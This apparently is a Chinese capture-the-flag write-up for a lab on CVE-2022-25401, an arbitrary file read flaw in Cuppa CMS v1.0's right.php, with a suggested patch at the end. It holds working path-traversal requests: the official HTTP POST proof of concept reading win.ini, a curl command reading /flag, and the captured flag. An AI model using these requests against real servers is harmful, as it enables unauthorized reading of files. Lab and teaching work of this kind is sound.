春秋云境:CVE-2022-25401(任意文件读取漏洞)

目录

一、题目

二、curl访问flag文件


一、题目

介绍:

        Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞 

进入题目 是一个登录页面

sql和暴破都无解。

官方POC

 国家信息安全漏洞库

cve漏洞介绍

官方给错了目录 没有administrator/ 找不到

官方poc

 代码块:

POST /cuppa_cms/administrator/templates/default/html/windows/right.php HTTP/1.1
Host: 192.168.174.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 272
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.174.133
Referer: http://192.168.174.133/cuppa_cms/administrator/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../windows/win.ini

 burp抓包改包:不过没成功:可能是目录问题。

二、curl访问flag文件

 进入目录templates/default/html/windows/right.php  

这里返回空白页是表示有这个文件的,如果不存在会返回404。

进入templates/default/html目录

 windows目录下right.php

 查看源码:

 kali的curl请求访问根目录下的flag文件

        curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。 它支持多种协议 查看网页源码 直接在curl命令后加上网址,就可以看到网页源码。

curl -X POST "http://xxx.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"

 得到flag

flag{fa417734-dac9-4947-831f-67b3ed302120} 

附:

漏洞修复建议
在 ‘/templates/default/html/windows/right.php’ 文件处,第53行建议添加以下代码:

$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
    echo "Security attack!";
    exit;
}
include realpath(DIR . '/../../../..')."/".$url;


 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值